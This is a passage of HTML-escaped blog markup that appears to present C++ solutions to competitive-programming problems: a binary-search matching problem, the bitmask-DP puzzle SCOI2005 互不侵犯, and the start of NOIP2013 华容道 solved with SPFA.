class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e d = (givenTime - launchT) / (launchT + cooldownT) + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= launchers; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; d; j++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e now = launchT + j * (launchT + cooldownT);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e k = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; k \u0026lt;= invaders; k++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (now + Distance[i][k] \u0026lt;= givenTime)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(i + j * launchers, d * launchers + k, \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Start = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e End = d * launchers + invaders + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= d * launchers; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(Start, i, \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = d * launchers + \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= d * launchers + invaders; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(i, End, \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"built_in\"\u003eCan_kill\u003c/span\u003e() == invaders;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e \u003cspan class=\"title\"\u003eMinTime\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e l = launchT, r = INF;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e maxStep = \u003cspan class=\"number\"\u003e50\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//20+20\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (l - r != \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; maxStep--) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e mid = (l + r) / \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eable_to_success\u003c/span\u003e(mid))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e r = mid;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e l = mid;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e l;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x[SIZE], y[SIZE];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e \u003cspan class=\"title\"\u003edis\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x1, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e y1, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x2, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e y2)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e a = x1 - x2, b = y1 - y2;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(a * a + b * b);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e v;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; launchers \u0026gt;\u0026gt; invaders \u0026gt;\u0026gt; launchT \u0026gt;\u0026gt; cooldownT \u0026gt;\u0026gt; v;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e launchT /= \u003cspan class=\"number\"\u003e60\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= invaders; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; x[i] \u0026gt;\u0026gt; y[i];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= launchers; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e destX, destY;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; destX \u0026gt;\u0026gt; destY;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; j \u0026lt;= invaders; j++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Distance[i][j] = \u003cspan class=\"built_in\"\u003edis\u003c/span\u003e(x[j], y[j], destX, destY) / v;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cout \u0026lt;\u0026lt; fixed \u0026lt;\u0026lt; \u003cspan class=\"built_in\"\u003esetprecision\u003c/span\u003e(\u003cspan class=\"number\"\u003e6\u003c/span\u003e) \u0026lt;\u0026lt; \u003cspan class=\"built_in\"\u003eMinTime\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"互不侵犯\"\u003e互不侵犯\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e来源: SCOI2005/luoguP1896\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e压位dp\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e mem[\u003cspan class=\"number\"\u003e5000\u003c/span\u003e][\u003cspan class=\"number\"\u003e15\u003c/span\u003e][\u003cspan class=\"number\"\u003e105\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e status;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e n, max_status, step_limit;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003ecount\u003c/span\u003e\u003cspan class=\"params\"\u003e(status \u0026amp;a)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e ans = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; n; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ans += ((a \u0026gt;\u0026gt; i) \u0026amp; \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ans;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003edfs\u003c/span\u003e\u003cspan class=\"params\"\u003e(status last, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e remain, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e step = \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (remain \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e || remain \u0026gt; ((n \u0026gt;\u0026gt; \u003cspan class=\"number\"\u003e1\u003c/span\u003e) + (n % \u003cspan class=\"number\"\u003e2\u003c/span\u003e)) * (((n - step + \u003cspan class=\"number\"\u003e1\u003c/span\u003e) \u0026gt;\u0026gt; \u003cspan class=\"number\"\u003e1\u003c/span\u003e) + ((n - step + \u003cspan class=\"number\"\u003e1\u003c/span\u003e) % \u003cspan class=\"number\"\u003e2\u003c/span\u003e)))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (step \u0026gt; n)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e !remain;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (mem[last][step][remain])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e mem[last][step][remain];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e ans = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (status now = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; now \u0026lt;= max_status; now++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((now \u0026amp; (now \u0026lt;\u0026lt; \u003cspan class=\"number\"\u003e1\u003c/span\u003e)) || (now \u0026amp; last) || (now \u0026amp; (last \u0026lt;\u0026lt; \u003cspan class=\"number\"\u003e1\u003c/span\u003e)) || (now \u0026amp; (last \u0026gt;\u0026gt; \u003cspan class=\"number\"\u003e1\u003c/span\u003e)))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ans += \u003cspan class=\"built_in\"\u003edfs\u003c/span\u003e(now, remain - \u003cspan class=\"built_in\"\u003ecount\u003c/span\u003e(now), step + \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e mem[last][step][remain] = ans;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; n \u0026gt;\u0026gt; step_limit;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e max_status = ~-(\u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; n);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cout \u0026lt;\u0026lt; \u003cspan class=\"built_in\"\u003edfs\u003c/span\u003e(\u003cspan class=\"number\"\u003e0ll\u003c/span\u003e, step_limit);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"华容道\"\u003e华容道\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e来源: luoguP1979/NOIP2013\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e首先我们可以通过人生经验得知这是一道图论题,但是我们发现需要抽象点。\u003cbr\u003e我们发现棋面每一步移动都可以导向另一个棋面,于是我们可以把每一步移动当作一个点。\u003cbr\u003e对于每一个点,有四个移动方式(上下左右)(↑↑↓↓←→←→ABAB)将每个移动编号,跑SPFA\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr\u003e\u003cspan 